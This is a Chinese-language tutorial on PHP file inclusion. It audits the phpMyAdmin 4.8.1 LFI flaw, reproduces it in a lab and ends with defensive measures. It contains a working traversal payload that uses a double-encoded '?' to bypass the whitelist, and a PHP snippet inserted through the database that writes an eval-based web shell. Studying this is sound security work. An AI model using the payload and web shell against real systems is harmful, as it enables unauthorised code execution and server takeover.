0x00 文件包含

文件包含，被包含的文件都会当做PHP执行

本身并不是一个漏洞，当被包含的文件可控时，才是任意文件包含漏洞

本地文件包含 LFI：

包含自己服务器上的资源

远程文件包含 RFI (php默认不开启)：

需要设置allow_url_include = On
通过HTTP协议包含其他地方的资源

影响函数：

include(“check.php”); 出错不会影响后面代码

require(“check.php”); 出错不会往下执行

include_once(“check.php”)、require_once(“check.php”):
检测文件是否被包含过，包含过则不再包含

0x01 代码审计

以phpMyAdmin 4.8.* 任意文件包含漏洞(LFI)为例

下载phpmyadmin 4.8.1的源码进行审计，查找任意文件包含漏洞

直接全局搜索 include

lfi1.png

看到前面出现include()函数的地方都已经具体写了被包含的文件，没有可以控制的地方

而

1
include $_REQUEST['target']

处则用REQUEST形式获取了传参target,此处可以控制，跟进

lfi2.png

可以看到include出现在第14行，在一个if语句中

所以必须进入这个if语句，需要同时满足8-12行的四个条件

第8行 用empty()函数判断传参target变量的值是否为空。所以只需要传参target，并且值不为空就可以。

第9行 用is_string()函数判断变量target是否是字符串。只需要target的值类型是字符串就可以。

第10行 用preg_match()函数进行字符串匹配。其中正则表达式/^index/表示以index开头的字符串。而前面有！表示非，所以只需要传参target的值以index开头就可以。

第11行 用in_array()函数进行内容比对。比对传参target的值是否在$target_blacklist中。而在3、4行定义了$target_blacklist的内容。所以只需要传参target的值不包含import.php和export.php就可以

第12行 这里调用了checkPageValidity(),在Core.php中发现了checkPageValidity()的定义

lfi3.png

根据if语句的条件，我们只需要满足checkPageValidity()的返回值为True就可以

在定义checkPageValidity()时，定义了参数&$page、而参数&$page就是第12行中checkPageValidity($_REQUEST[‘target’])传递进去的变量target，定义了数组$whitelist为空。

接下来看checkPageValidity()中的语句

第21行判断$whitelist是否为空，为空就将$goto_whitelist的值赋值给它，跟进$goto_whitelist

lfi4.png

可以看到$goto_whitelist定义了一些文件作为白名单，而此时将这些内容赋值给了$whitelist

第21行，判断传进来的参数是否不为空且是字符串类型，如果不满足返回False，这里已经满足

第28行检测传参是否在白名单whitelist中，如果在返回True。如果需要满足这一条，传参target就只能为白名单中的内容，此处传参不可控，无法利用。所以继续向下看

第32行截取了传参的值中?以前的内容并且赋值给$_page。
第37行，再将$_page的值与白名单进行对比，如果满足返回True。

此处传参可控，但是在include()函数中，被包含文件不能出现?，所以此处无法利用。

第41行定义了变量$_page用来对传递进来的参数进行url解码，而GET传参本身会自动url解码一次，所以这里可以对参数进行url二次编码。
第42、47行代码同第32、37行

这里可以利用。如果传参的值前面在白名单中，后面加上?的url二次编码，就可以实现本地任意文件包含

最终payload: 

1
index.php?target=db_import.php%253f/../../包含的文件

0x02 靶场复现

进入phpMyAdmin后台

在 变量 中可以获取绝对路径，以便于接下来生成一句话

lfi5.png

此时可以结合上传的图片马，生成一个一句话木马文件进行连接。

若没有上传点，可以在数据库中插入一句话木马，而数据库的内容都是存在指定文件中的，具体文件为

phpStudy\MySQL\data\库名\表名.frm 存储了字段名

lfi6.png

phpStudy\MySQL\data\库名\表名.MYD 存储了字段内容

lfi7.png

以上两个文件任意选择一个利用

由于phpmyadmin中index.php文件需要登录才能访问，可以生成一个新的一句话文件，便于直接连接

新建一个数据库 库名为sr

lfi8.png

新建一个表 表名为s

lfi9.png

新建一个字段 字段名为1 类型为varchar

lfi10.png

在字段1中插入语句

1
<?php $txt = '<?php @eval($_REQUEST[\'1234\'])?>';file_put_contents('1.php',$txt)?>

生成新的一句话文件1.php 内容为

lfi11.png

lfi12.png

此时插入的语句就在phpStudy\MySQL\data\sr\s.MYD文件中了

直接在payload后面添加这个文件的路径

lfi13.png

文件被包含后会当做php执行，生成一个1.php一句话

验证

lfi14.png

0x03 危害

任何被包含的文件都会当做php执行，如果网站存在上传点，上传图片马结合任意文件包含漏洞可以getshell

0x04 防御措施

1、关闭allow_rul_include和allow_url_fopen

2、对包含的文件采取白名单限制，指定可以被包含的目录

3、对所有文件包含的传参进行检测，对 ../ 等路径跳转关键词进行过滤

4、检查include()包含的文件是否可控